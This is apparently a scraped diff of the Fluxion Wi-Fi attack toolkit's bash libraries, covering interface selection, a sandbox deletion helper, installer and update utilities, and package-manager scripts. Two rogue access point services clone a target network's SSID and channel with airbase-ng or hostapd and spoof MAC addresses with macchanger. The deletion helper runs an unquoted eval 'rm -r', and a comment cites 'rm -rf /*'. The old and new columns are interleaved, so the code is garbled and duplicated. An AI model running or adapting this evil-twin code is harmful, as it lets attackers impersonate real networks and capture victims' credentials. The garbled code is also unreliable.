local __interface_prompt__ifAvailable=("${!2}") local __interface_prompt__ifAvailable=("${!2}")
local __interface_prompt__ifAvailableInfo=() local __interface_prompt__ifAvailableInfo=()
local __interface_prompt__ifAvailableColor=() local __interface_prompt__ifAvailableColor=()
local __interface_prompt__ifAvailableState=() local __interface_prompt__ifAvailableState=()
local __interface_prompt__ifCandidate local __interface_prompt__ifCandidate
for __interface_prompt__ifCandidate in "${__interface_prompt__ifAvailable[@]}"; do for __interface_prompt__ifCandidate in "${__interface_prompt__ifAvailable[@]}"; do
interface_chipset "$__interface_prompt__ifCandidate" interface_chipset "$__interface_prompt__ifCandidate"
__interface_prompt__ifAvailableInfo+=("$InterfaceChipset") __interface_prompt__ifAvailableInfo+=("$InterfaceChipset")
interface_state "$__interface_prompt__ifCandidate" interface_state "$__interface_prompt__ifCandidate"
if [ "$InterfaceState" = "up" ] if [ "$InterfaceState" = "up" ]; then
then __interface_prompt__ifAvailableColor+=("$CPrp"); __interface_prompt__ifAvailableState+=("[-]") __interface_prompt__ifAvailableColor+=("$CPrp")
else __interface_prompt__ifAvailableColor+=("$CClr"); __interface_prompt__ifAvailableState+=("[+]") __interface_prompt__ifAvailableState+=("[-]")
fi
done
# The following conditional is required since io_query_format_fields
# only considers the the size of the first parameter, available color.
if [ "$6" ]; then # Add alternative choices
__interface_prompt__ifAvailable+=("${!3}")
__interface_prompt__ifAvailableInfo+=("${!4}")
__interface_prompt__ifAvailableState+=("${!5}")
__interface_prompt__ifAvailableColor+=("${!6}")
fi
# If only one interface exists and it's available, choose it.
if [ "${#__interface_prompt__ifAvailable[@]}" -eq 1 -a "${__interface_prompt__ifAvailableState[0]}" = "[+]" ]; then
InterfacePromptWISelected="${__interface_prompt__ifAvailable[0]}"
InterfacePromptWISelectedState="[+]" # It passed the condition, it must be +
InterfacePromptWISelectedInfo="${__interface_prompt__ifAvailableInfo[0]}"
else else
format_apply_autosize "$CRed[$CSYel%1d$CClr$CRed]%b %-8b %3s$CClr %-*.*s\n" __interface_prompt__ifAvailableColor+=("$CClr")
io_query_format_fields "$1" "$FormatApplyAutosize" \ __interface_prompt__ifAvailableState+=("[+]")
__interface_prompt__ifAvailableColor[@] __interface_prompt__ifAvailable[@] \ fi
__interface_prompt__ifAvailableState[@] __interface_prompt__ifAvailableInfo[@] done
echo # The following conditional is required since io_query_format_fields
# only considers the the size of the first parameter, available color.
if [ "$6" ]; then # Add alternative choices
__interface_prompt__ifAvailable+=("${!3}")
__interface_prompt__ifAvailableInfo+=("${!4}")
__interface_prompt__ifAvailableState+=("${!5}")
__interface_prompt__ifAvailableColor+=("${!6}")
fi
InterfacePromptIfSelected="${IOQueryFormatFields[1]}" # If only one interface exists and it's available, choose it.
InterfacePromptIfSelectedState="${IOQueryFormatFields[2]}" if [ "${#__interface_prompt__ifAvailable[@]}" -eq 1 -a "${__interface_prompt__ifAvailableState[0]}" = "[+]" ]; then
InterfacePromptWISelectedInfo="${IOQueryFormatFields[3]}" InterfacePromptWISelected="${__interface_prompt__ifAvailable[0]}"
fi InterfacePromptWISelectedState="[+]" # It passed the condition, it must be +
InterfacePromptWISelectedInfo="${__interface_prompt__ifAvailableInfo[0]}"
else
format_apply_autosize "$CRed[$CSYel%1d$CClr$CRed]%b %-8b %3s$CClr %-*.*s\n"
io_query_format_fields "$1" "$FormatApplyAutosize" \
__interface_prompt__ifAvailableColor[@] __interface_prompt__ifAvailable[@] \
__interface_prompt__ifAvailableState[@] __interface_prompt__ifAvailableInfo[@]
echo
InterfacePromptIfSelected="${IOQueryFormatFields[1]}"
InterfacePromptIfSelectedState="${IOQueryFormatFields[2]}"
InterfacePromptWISelectedInfo="${IOQueryFormatFields[3]}"
fi
} }

View File

@ -12,26 +12,26 @@ SandboxOutputDevice="/dev/stdout"
# the command "rm -rf /*" ... yeah, fuck that... # the command "rm -rf /*" ... yeah, fuck that...
# Spent an entire day retreiving all my shit back. # Spent an entire day retreiving all my shit back.
function sandbox_remove_workfile() { function sandbox_remove_workfile() {
# Check we've got the environment variables ready. # Check we've got the environment variables ready.
if [[ -z "$SandboxWorkspacePath" || -z "$SandboxOutputDevice" ]]; then if [[ -z "$SandboxWorkspacePath" || -z "$SandboxOutputDevice" ]]; then
echo "The workspace path, or the output device is missing." > $SandboxOutputDevice echo "The workspace path, or the output device is missing." >$SandboxOutputDevice
return 1 return 1
fi fi
# Check we're actually deleting a workfile. # Check we're actually deleting a workfile.
if [[ "$1" != $SandboxWorkspacePath* ]]; then if [[ "$1" != $SandboxWorkspacePath* ]]; then
echo "Stopped an attempt to delete non-workfiles." > $SandboxOutputDevice echo "Stopped an attempt to delete non-workfiles." >$SandboxOutputDevice
return 2 return 2
fi fi
# Attempt to remove iff it exists. # Attempt to remove iff it exists.
#if [ ! -e "$1" -a "$1" != *"/"*"*" ]; then #if [ ! -e "$1" -a "$1" != *"/"*"*" ]; then
# echo "Stopped an attempt to delete non-existent files" > $SandboxOutputDevice # echo "Stopped an attempt to delete non-existent files" > $SandboxOutputDevice
# return 3; # return 3;
#fi #fi
# Remove the target file (do NOT force it). # Remove the target file (do NOT force it).
eval "rm -r $1 &> $SandboxOutputDevice" eval "rm -r $1 &> $SandboxOutputDevice"
} }
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -13,47 +13,45 @@ VIAPAddress="$VIGWNetwork.2"
# APServiceConfigDirectory=$FLUXIONWorkspacePath # APServiceConfigDirectory=$FLUXIONWorkspacePath
# ================================================================ # ================================================================
#if [ "$APServiceVersion" ]; then return 0; fi #if [ "$APServiceVersion" ]; then return 0; fi
#readonly APServiceVersion="1.0" #readonly APServiceVersion="1.0"
function ap_stop() { function ap_stop() {
if [ "$APServicePID" ] if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
then kill $APServicePID &> $FLUXIONOutputDevice fi
fi
APServicePID="" APServicePID=""
} }
function ap_reset() { function ap_reset() {
ap_stop ap_stop
} }
function ap_route() { function ap_route() {
ifconfig $VIAP $VIAPAddress netmask 255.255.255.0 ifconfig $VIAP $VIAPAddress netmask 255.255.255.0
sysctl net.ipv6.conf.at0.disable_ipv6=1 &> $FLUXIONOutputDevice sysctl net.ipv6.conf.at0.disable_ipv6=1 &>$FLUXIONOutputDevice
} }
function ap_prep() { function ap_prep() {
ap_stop ap_stop
# Spoof virtual interface MAC address. # Spoof virtual interface MAC address.
# This is done by airbase-ng automatically. # This is done by airbase-ng automatically.
} }
function ap_start() { function ap_start() {
ap_stop ap_stop
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP & xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP &
local parentPID=$! local parentPID=$!
# Wait till airebase-ng has started and created the extra virtual interface. # Wait till airebase-ng has started and created the extra virtual interface.
while [ ! "$APServicePID" ] while [ ! "$APServicePID" ]; do
do sleep 1; APServicePID=$(pgrep -P $parentPID) sleep 1
done APServicePID=$(pgrep -P $parentPID)
done
ap_route ap_route
} }
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -13,71 +13,68 @@ VIAPAddress=$VIGWAddress
APServiceConfigDirectory=$FLUXIONWorkspacePath APServiceConfigDirectory=$FLUXIONWorkspacePath
# ================================================================ # ================================================================
#if [ "$APServiceVersion" ]; then return 0; fi #if [ "$APServiceVersion" ]; then return 0; fi
#readonly APServiceVersion="1.0" #readonly APServiceVersion="1.0"
function ap_stop() { function ap_stop() {
if [ "$APServicePID" ] if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
then kill $APServicePID &> $FLUXIONOutputDevice fi
fi
APServicePID="" APServicePID=""
} }
function ap_reset() { function ap_reset() {
ap_stop ap_stop
# Reset MAC address to original. # Reset MAC address to original.
ifconfig $VIAP down ifconfig $VIAP down
sleep 0.5 sleep 0.5
macchanger -p $VIAP &> $FLUXIONOutputDevice macchanger -p $VIAP &>$FLUXIONOutputDevice
sleep 0.5 sleep 0.5
ifconfig $VIAP up ifconfig $VIAP up
sleep 0.5 sleep 0.5
} }
function ap_route() { function ap_route() {
echo "APService: No custom routes for hostapd" > $FLUXIONOutputDevice echo "APService: No custom routes for hostapd" >$FLUXIONOutputDevice
} }
function ap_prep() { function ap_prep() {
ap_stop ap_stop
# Prepare the hostapd config file. # Prepare the hostapd config file.
echo "\ echo "\
interface=$VIAP interface=$VIAP
driver=nl80211 driver=nl80211
ssid=$APTargetSSID ssid=$APTargetSSID
channel=$APTargetChannel\ channel=$APTargetChannel" >"$APServiceConfigDirectory/$APRogueMAC-hostapd.conf"
" > "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf"
# Spoof virtual interface MAC address. # Spoof virtual interface MAC address.
ifconfig $VIAP down ifconfig $VIAP down
sleep 0.5 sleep 0.5
macchanger --mac=$APRogueMAC $VIAP &> $FLUXIONOutputDevice macchanger --mac=$APRogueMAC $VIAP &>$FLUXIONOutputDevice
sleep 0.5 sleep 0.5
ifconfig $VIAP up ifconfig $VIAP up
sleep 0.5 sleep 0.5
} }
function ap_start() { function ap_start() {
ap_stop ap_stop
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" & xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" &
local parentPID=$! local parentPID=$!
# Wait till hostapd has started and its virtual interface is ready. # Wait till hostapd has started and its virtual interface is ready.
while [ ! "$APServicePID" ] while [ ! "$APServicePID" ]; do
do sleep 1; APServicePID=$(pgrep -P $parentPID) sleep 1
done APServicePID=$(pgrep -P $parentPID)
done
ap_route ap_route
} }
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -12,21 +12,21 @@ InstallerUtilsNoticeMark="*"
PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log" PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log"
function installer_utils_run_spinner() { function installer_utils_run_spinner() {
local pid=$1 local pid=$1
local delay=0.15 local delay=0.15
local spinstr="|/-\\" local spinstr="|/-\\"
tput civis tput civis
while [ "`ps a | awk '{print $1}' | grep $pid`" ]; do while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
local temp=${spinstr#?} local temp=${spinstr#?}
printf " [%c] " "$spinstr" printf " [%c] " "$spinstr"
local spinstr=$temp${spinstr%"$temp"} local spinstr=$temp${spinstr%"$temp"}
sleep $delay sleep $delay
printf "\b\b\b\b\b\b" printf "\b\b\b\b\b\b"
done done
printf " \b\b\b\b" printf " \b\b\b\b"
tput cnorm tput cnorm
} }
# Pamaters: # Pamaters:
@ -34,20 +34,18 @@ function installer_utils_run_spinner() {
# $2 version regex - Online version (regex) # $2 version regex - Online version (regex)
# $3 revision regex - Online version (regex) # $3 revision regex - Online version (regex)
function installer_utils_check_version() { function installer_utils_check_version() {
if [ ${#@} -ne 3 ]; then return 1; fi if [ ${#@} -ne 3 ]; then return 1; fi
# Attempt to retrieve versioning information from repository script. # Attempt to retrieve versioning information from repository script.
local -r __installer_utils_check_version__info=("`timeout -s SIGTERM 20 curl "$1" 2> /dev/null`") local -r __installer_utils_check_version__info=("$(timeout -s SIGTERM 20 curl "$1" 2>/dev/null)")
local -r __installer_utils_check_version__onlineVersion=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$2" | egrep -o "[0-9]+") local -r __installer_utils_check_version__onlineVersion=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$2" | egrep -o "[0-9]+")
local -r __installer_utils_check_version__onlineRevision=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$3" | egrep -o "[0-9]+") local -r __installer_utils_check_version__onlineRevision=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$3" | egrep -o "[0-9]+")
if [ "$__installer_utils_check_version__onlineVersion" ] && [ "$__installer_utils_check_version__onlineRevision" ] if [ "$__installer_utils_check_version__onlineVersion" ] && [ "$__installer_utils_check_version__onlineRevision" ]; then echo -e "$__installer_utils_check_version__onlineVersion\n$__installer_utils_check_version__onlineRevision" >"$InstallerUtilsWorkspacePath/latest_version"
then echo -e "$__installer_utils_check_version__onlineVersion\n$__installer_utils_check_version__onlineRevision" > "$InstallerUtilsWorkspacePath/latest_version" fi
fi
} }
# Pamaters: # Pamaters:
# $1 source - Online Info File (text) # $1 source - Online Info File (text)
# $2 version regex - Online version (regex) # $2 version regex - Online version (regex)
@ -55,172 +53,175 @@ function installer_utils_check_version() {
# $4 revision regex - Online version (regex) # $4 revision regex - Online version (regex)
# $5 revision local - Local version (number) # $5 revision local - Local version (number)
function installer_utils_check_update() { function installer_utils_check_update() {
# The following set of statements aren't very generic, need to be refactored. # The following set of statements aren't very generic, need to be refactored.
local versionDialog="Online Version" local versionDialog="Online Version"
local versionDialogOffset=$(($(tput cols) / 2 + ((${#versionDialog} / 2) - 4))) local versionDialogOffset=$(($(tput cols) / 2 + ((${#versionDialog} / 2) - 4)))
printf "%${versionDialogOffset}s" "$versionDialog" printf "%${versionDialogOffset}s" "$versionDialog"
installer_utils_check_version "${@:1:3}" & installer_utils_check_version "${@:1:3}" &
installer_utils_run_spinner "$!" # This should be done externally (refactored). installer_utils_run_spinner "$!" # This should be done externally (refactored).
local __installer_utils_check_update__localVersion=$4 local __installer_utils_check_update__localVersion=$4
local __installer_utils_check_update__localRevision=$5 local __installer_utils_check_update__localRevision=$5
local __installer_utils_check_update__version="?" local __installer_utils_check_update__version="?"
local __installer_utils_check_update__revision="?" local __installer_utils_check_update__revision="?"
if [ -f "$InstallerUtilsWorkspacePath/latest_version" -a \ if [ -f "$InstallerUtilsWorkspacePath/latest_version" -a \
-s "$InstallerUtilsWorkspacePath/latest_version" ]; then -s "$InstallerUtilsWorkspacePath/latest_version" ]; then
local __installer_utils_check_update__vInfo local __installer_utils_check_update__vInfo
mapfile -tn 2 __installer_utils_check_update__vInfo < "$InstallerUtilsWorkspacePath/latest_version" mapfile -tn 2 __installer_utils_check_update__vInfo <"$InstallerUtilsWorkspacePath/latest_version"
sandbox_remove_workfile "$InstallerUtilsWorkspacePath/latest_version" sandbox_remove_workfile "$InstallerUtilsWorkspacePath/latest_version"
__installer_utils_check_update__version=${__installer_utils_check_update__vInfo[0]} __installer_utils_check_update__version=${__installer_utils_check_update__vInfo[0]}
__installer_utils_check_update__revision=${__installer_utils_check_update__vInfo[1]} __installer_utils_check_update__revision=${__installer_utils_check_update__vInfo[1]}
fi fi
echo -e "$CClr [$__installer_utils_check_update__version.$__installer_utils_check_update__revision$CClr]" echo -e "$CClr [$__installer_utils_check_update__version.$__installer_utils_check_update__revision$CClr]"
if [ "$__installer_utils_check_update__version" != "?" -a "$__installer_utils_check_update__revision" != "?" ]; then if [ "$__installer_utils_check_update__version" != "?" -a "$__installer_utils_check_update__revision" != "?" ]; then
if [ "$__installer_utils_check_update__version" -gt "$__installer_utils_check_update__localVersion" -o \ if [ "$__installer_utils_check_update__version" -gt "$__installer_utils_check_update__localVersion" -o \
"$__installer_utils_check_update__version" -eq "$__installer_utils_check_update__localRevision" -a \ "$__installer_utils_check_update__version" -eq "$__installer_utils_check_update__localRevision" -a \
"$__installer_utils_check_update__revision" -gt "$__installer_utils_check_update__localRevision" ]; then "$__installer_utils_check_update__revision" -gt "$__installer_utils_check_update__localRevision" ]; then
format_center_literals "${CRed}A newer version has been found!$CClr" format_center_literals "${CRed}A newer version has been found!$CClr"
return 0 return 0
fi fi
fi fi
return 1 # Failure return 1 # Failure
} }
# Parameters: $1 - Update source (zip) $2 - Backup file name $3 - Update output # Parameters: $1 - Update source (zip) $2 - Backup file name $3 - Update output
function installer_utils_run_update() { function installer_utils_run_update() {
if [ ${#@} -ne 2 ]; then return 1; fi if [ ${#@} -ne 2 ]; then return 1; fi
local __installer_utils_run_update__source="$1" local __installer_utils_run_update__source="$1"
local __installer_utils_run_update__backup="$2" local __installer_utils_run_update__backup="$2"
local __installer_utils_run_update__output="$3" local __installer_utils_run_update__output="$3"
format_center_literals "${CYel}[ Press Y or enter to update, anything else to skip ]$CClr" format_center_literals "${CYel}[ Press Y or enter to update, anything else to skip ]$CClr"
tput civis tput civis
local __installer_utils_run_update__option local __installer_utils_run_update__option
read -N1 __installer_utils_run_update__option read -N1 __installer_utils_run_update__option
tput cnorm tput cnorm
__installer_utils_run_update__option=${__installer_utils_run_update__option:-Y} __installer_utils_run_update__option=${__installer_utils_run_update__option:-Y}
# If the user doesn't want to upgrade, stop this procedure. # If the user doesn't want to upgrade, stop this procedure.
if [ "$__installer_utils_run_update__option" != "Y" -a \ if [ "$__installer_utils_run_update__option" != "Y" -a \
"$__installer_utils_run_update__option" != "y" ] "$__installer_utils_run_update__option" != "y" ]; then return 1
then return 1 fi
fi
local __installer_utils_run_update__backupFile="$__installer_utils_run_update__backup-`date +%F_%T`" local __installer_utils_run_update__backupFile="$__installer_utils_run_update__backup-$(date +%F_%T)"
local __installer_utils_run_update__backupPath="`dirname $__installer_utils_run_update__output`/$__installer_utils_run_update__backupFile.7z" local __installer_utils_run_update__backupPath="$(dirname $__installer_utils_run_update__output)/$__installer_utils_run_update__backupFile.7z"
# If a file with the backup name already exists, abort. # If a file with the backup name already exists, abort.
if [ -f "$__installer_utils_run_update__backupPath" ] if [ -f "$__installer_utils_run_update__backupPath" ]; then return 2
then return 2 fi
fi
format_center_literals "${CClr}[ ~ Creating Backup ~ ]$CClr"; echo format_center_literals "${CClr}[ ~ Creating Backup ~ ]$CClr"
# This could use a progress indicator, but I'm a bit tired. echo
7zr a "$__installer_utils_run_update__backupPath" "$__installer_utils_run_update__output" &> $InstallerUtilsOutputDevice # This could use a progress indicator, but I'm a bit tired.
7zr a "$__installer_utils_run_update__backupPath" "$__installer_utils_run_update__output" &>$InstallerUtilsOutputDevice
format_center_literals "${CClr}[ ~ Downloading Update ~ ]$CClr"
echo
if ! curl -L "$__installer_utils_run_update__source" -o "$InstallerUtilsWorkspacePath/update.zip"; then
format_center_literals "${CRed}[ ~ Download Failed ~ ]$CClr"
sleep 3
return 3
fi
format_center_literals "${CClr}[ ~ Downloading Update ~ ]$CClr"; echo format_center_literals "${CClr}[ ~ Verifying Download ~ ]$CClr"
if ! curl -L "$__installer_utils_run_update__source" -o "$InstallerUtilsWorkspacePath/update.zip"; then echo
format_center_literals "${CRed}[ ~ Download Failed ~ ]$CClr" if ! unzip -t "$InstallerUtilsWorkspacePath/update.zip"; then
sleep 3 format_center_literals "${CRed}[ ~ Download Appears Corrupted ~ ]$CClr"
return 3 sleep 3
fi return 4
fi
format_center_literals "${CClr}[ ~ Verifying Download ~ ]$CClr"; echo format_center_literals "${CClr}[ ~ Extracting Files ~ ]$CClr"
if ! unzip -t "$InstallerUtilsWorkspacePath/update.zip"; then echo
format_center_literals "${CRed}[ ~ Download Appears Corrupted ~ ]$CClr" mkdir "$InstallerUtilsWorkspacePath/update_contents"
sleep 3 unzip "$InstallerUtilsWorkspacePath/update.zip" -d "$InstallerUtilsWorkspacePath/update_contents"
return 4
fi
format_center_literals "${CClr}[ ~ Extracting Files ~ ]$CClr"; echo if [ ! -d "$__installer_utils_run_update__output" ]; then
mkdir "$InstallerUtilsWorkspacePath/update_contents" if ! mkdir -p "$__installer_utils_run_update__output"; then
unzip "$InstallerUtilsWorkspacePath/update.zip" -d "$InstallerUtilsWorkspacePath/update_contents" format_center_literals "${CRed}[ ~ Failed To Create Destination Directory ~ ]$CClr"
echo
fi
fi
format_center_literals "${CClr}[ ~ Moving Files ~ ]$CClr"
echo
mv "$InstallerUtilsWorkspacePath"/update_contents/* "$__installer_utils_run_update__output"
if [ ! -d "$__installer_utils_run_update__output" ]; then format_center_literals "${CGrn}[ ~ Update Completed ~ ]$CClr"
if ! mkdir -p "$__installer_utils_run_update__output"; then echo
format_center_literals "${CRed}[ ~ Failed To Create Destination Directory ~ ]$CClr"; echo sleep 3
fi
fi
format_center_literals "${CClr}[ ~ Moving Files ~ ]$CClr"; echo
mv "$InstallerUtilsWorkspacePath"/update_contents/* "$__installer_utils_run_update__output"
format_center_literals "${CGrn}[ ~ Update Completed ~ ]$CClr"; echo
sleep 3
} }
# Parameters: $1 - CLI Tools required array $2 - CLI Tools missing array (will be populated) # Parameters: $1 - CLI Tools required array $2 - CLI Tools missing array (will be populated)
function installer_utils_check_dependencies() { function installer_utils_check_dependencies() {
if [ ! "$1" ]; then return 1; fi if [ ! "$1" ]; then return 1; fi
local __installer_utils_run_dependencies__CLIToolsInfo=("${!1}") local __installer_utils_run_dependencies__CLIToolsInfo=("${!1}")
InstallerUtilsCheckDependencies=() InstallerUtilsCheckDependencies=()
local __installer_utils_run_dependencies__CLIToolInfo local __installer_utils_run_dependencies__CLIToolInfo
for __installer_utils_run_dependencies__CLIToolInfo in "${__installer_utils_run_dependencies__CLIToolsInfo[@]}"; do for __installer_utils_run_dependencies__CLIToolInfo in "${__installer_utils_run_dependencies__CLIToolsInfo[@]}"; do
local __installer_utils_run_dependencies__CLITool=${__installer_utils_run_dependencies__CLIToolInfo/:*/} local __installer_utils_run_dependencies__CLITool=${__installer_utils_run_dependencies__CLIToolInfo/:*/}
local __installer_utils_run_dependencies__identifier="`printf "%-44s" "$__installer_utils_run_dependencies__CLITool"`" local __installer_utils_run_dependencies__identifier="$(printf "%-44s" "$__installer_utils_run_dependencies__CLITool")"
local __installer_utils_run_dependencies__state=".....$CGrn OK.$CClr" local __installer_utils_run_dependencies__state=".....$CGrn OK.$CClr"
if ! hash "$__installer_utils_run_dependencies__CLITool" 2>/dev/null; then if ! hash "$__installer_utils_run_dependencies__CLITool" 2>/dev/null; then
__installer_utils_run_dependencies__state="$CRed Missing!$CClr" __installer_utils_run_dependencies__state="$CRed Missing!$CClr"
InstallerUtilsCheckDependencies+=("$__installer_utils_run_dependencies__CLIToolInfo") InstallerUtilsCheckDependencies+=("$__installer_utils_run_dependencies__CLIToolInfo")
fi fi
format_center_literals "$InstallerUtilsNoticeMark ${__installer_utils_run_dependencies__identifier// /.}$__installer_utils_run_dependencies__state" format_center_literals "$InstallerUtilsNoticeMark ${__installer_utils_run_dependencies__identifier// /.}$__installer_utils_run_dependencies__state"
echo -e "$FormatCenterLiterals" echo -e "$FormatCenterLiterals"
done done
if [ ${#InstallerUtilsCheckDependencies[@]} -gt 0 ]; then return 2; fi if [ ${#InstallerUtilsCheckDependencies[@]} -gt 0 ]; then return 2; fi
} }
# Parameters: $1 - CLI Tools missing array (will be installed) $2 - substitutes array # Parameters: $1 - CLI Tools missing array (will be installed) $2 - substitutes array
function installer_utils_run_dependencies() { function installer_utils_run_dependencies() {
if [ ! "$1" ]; then return 1; fi if [ ! "$1" ]; then return 1; fi
# The array below holds all the packages that will be installed. # The array below holds all the packages that will be installed.
local __installer_utils_run_dependencies__dependenciesInfo=("${!1}") local __installer_utils_run_dependencies__dependenciesInfo=("${!1}")
local __installer_utils_run_dependencies__managers=(lib/installer/managers/*) local __installer_utils_run_dependencies__managers=(lib/installer/managers/*)
local __installer_utils_run_dependencies__manager local __installer_utils_run_dependencies__manager
for __installer_utils_run_dependencies__manager in "${__installer_utils_run_dependencies__managers[@]}"; do for __installer_utils_run_dependencies__manager in "${__installer_utils_run_dependencies__managers[@]}"; do
source "$__installer_utils_run_dependencies__manager" source "$__installer_utils_run_dependencies__manager"
if [ "$PackageManagerCLT" ]; then break; fi if [ "$PackageManagerCLT" ]; then break; fi
done done
if [ ! "$PackageManagerCLT" ]; then if [ ! "$PackageManagerCLT" ]; then
format_center_literals "${CRed}[ ~ No Suitable Package Manager Found ~ ]$CClr"; echo format_center_literals "${CRed}[ ~ No Suitable Package Manager Found ~ ]$CClr"
sleep 3 echo
return 2 sleep 3
fi return 2
fi
prep_package_manager prep_package_manager
for __installer_utils_run_dependencies__dependencyInfo in "${__installer_utils_run_dependencies__dependenciesInfo[@]}"; do for __installer_utils_run_dependencies__dependencyInfo in "${__installer_utils_run_dependencies__dependenciesInfo[@]}"; do
local __installer_utils_run_dependencies__target=${__installer_utils_run_dependencies__dependencyInfo/:*/} local __installer_utils_run_dependencies__target=${__installer_utils_run_dependencies__dependencyInfo/:*/}
local __installer_utils_run_dependencies__packages=${__installer_utils_run_dependencies__dependencyInfo/*:/} local __installer_utils_run_dependencies__packages=${__installer_utils_run_dependencies__dependencyInfo/*:/}
for __installer_utils_run_dependencies__package in ${__installer_utils_run_dependencies__packages//|/ }; do for __installer_utils_run_dependencies__package in ${__installer_utils_run_dependencies__packages//|/ }; do
clear clear
if $PackageManagerCLT $PackageManagerCLTInstallOptions $__installer_utils_run_dependencies__package if $PackageManagerCLT $PackageManagerCLTInstallOptions $__installer_utils_run_dependencies__package; then break
then break fi
fi done
done done
done
unprep_package_manager unprep_package_manager
} }
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -1,42 +1,44 @@
#!/bin/bash #!/bin/bash
if [ -f "/etc/debian_version" ]; then if [ -f "/etc/debian_version" ]; then
PackageManagerCLT="apt" PackageManagerCLT="apt"
PackageManagerCLTInstallOptions="install -y" PackageManagerCLTInstallOptions="install -y"
PackageManagerCLTRemoveOptions="remove -y" PackageManagerCLTRemoveOptions="remove -y"
PackageManagerOutputDevice="/dev/stdout" PackageManagerOutputDevice="/dev/stdout"
PackageManagerLog="/tmp/lib_package_manager.log" PackageManagerLog="/tmp/lib_package_manager.log"
function unprep_package_manager() { function unprep_package_manager() {
echo "`cat /etc/apt/sources.list | grep -v 'deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION'`" > /etc/apt/sources.list echo "$(cat /etc/apt/sources.list | grep -v 'deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION')" >/etc/apt/sources.list
} }
function prep_package_manager() { function prep_package_manager() {
if [ ! "`cat /etc/apt/sources.list | egrep 'deb http://http.kali.org/kali ((kali-rolling|main|contrib|non-free) )*'`" ]; then if [ ! "$(cat /etc/apt/sources.list | egrep 'deb http://http.kali.org/kali ((kali-rolling|main|contrib|non-free) )*')" ]; then
echo "Adding missing sources to package manager, please wait." echo "Adding missing sources to package manager, please wait."
echo "Adding keys.gnupg.net key, please wait." echo "Adding keys.gnupg.net key, please wait."
if ! gpg --keyserver hkp://keys.gnupg.net --recv-key 7D8D0BF6 &> /dev/null; then if ! gpg --keyserver hkp://keys.gnupg.net --recv-key 7D8D0BF6 &>/dev/null; then
echo "ERROR: Failed to fetch or add the source key!"; return 1 echo "ERROR: Failed to fetch or add the source key!"
fi return 1
fi
echo "Adding pgp.mit.edu key, please wait." echo "Adding pgp.mit.edu key, please wait."
if ! apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF60 &> /dev/null; then if ! apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF60 &>/dev/null; then
echo "ERROR: Failed to fetch or add the source key!"; return 1 echo "ERROR: Failed to fetch or add the source key!"
fi return 1
fi
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION" >> /etc/apt/sources.list echo "deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION" >>/etc/apt/sources.list
fi fi
# Cleanup package manager # Cleanup package manager
sudo apt-get install -f -y | tee -a $PackageManagerLog sudo apt-get install -f -y | tee -a $PackageManagerLog
sudo apt-get autoremove -y | tee -a $PackageManagerLog sudo apt-get autoremove -y | tee -a $PackageManagerLog
sudo apt-get autoclean -y | tee -a $PackageManagerLog sudo apt-get autoclean -y | tee -a $PackageManagerLog
sudo apt-get clean -y | tee -a $PackageManagerLog sudo apt-get clean -y | tee -a $PackageManagerLog
sudo apt-get update | tee -a $PackageManagerLog sudo apt-get update | tee -a $PackageManagerLog
} }
fi fi
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -1,21 +1,21 @@
#!/bin/bash #!/bin/bash
if [ -f "/etc/gentoo-release" ]; then if [ -f "/etc/gentoo-release" ]; then
PackageManagerCLT="emerge" PackageManagerCLT="emerge"
PackageManagerCLTInstallOptions="-s" PackageManagerCLTInstallOptions="-s"
PackageManagerCLTRemoveOptions="" PackageManagerCLTRemoveOptions=""
PackageManagerOutputDevice="/dev/stdout" PackageManagerOutputDevice="/dev/stdout"
PackageManagerLog="/tmp/lib_package_manager.log" PackageManagerLog="/tmp/lib_package_manager.log"
function unprep_package_manager() { function unprep_package_manager() {
echo "Nothing to unprepare." > $PackageManagerOutputDevice echo "Nothing to unprepare." >$PackageManagerOutputDevice
} }
function prep_package_manager() { function prep_package_manager() {
echo "Nothing to prepare." > $PackageManagerOutputDevice echo "Nothing to prepare." >$PackageManagerOutputDevice
} }
fi fi
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -1,29 +1,29 @@
#!/bin/bash #!/bin/bash
if [ -f "/etc/arch-release" ]; then if [ -f "/etc/arch-release" ]; then
#Last entry is the default package manager to use (pacman) #Last entry is the default package manager to use (pacman)
AurHelpers="pacaur yaourt pacman" AurHelpers="pacaur yaourt pacman"
for AurHelper in $AurHelpers; do for AurHelper in $AurHelpers; do
if [ "`pacman -Qs $AurHelper`" ]; then if [ "$(pacman -Qs $AurHelper)" ]; then
PackageManagerCLT=$AurHelper PackageManagerCLT=$AurHelper
break; break
fi fi
done done
PackageManagerCLT='pacman' PackageManagerCLT='pacman'
PackageManagerCLTInstallOptions="-S --noconfirm" PackageManagerCLTInstallOptions="-S --noconfirm"
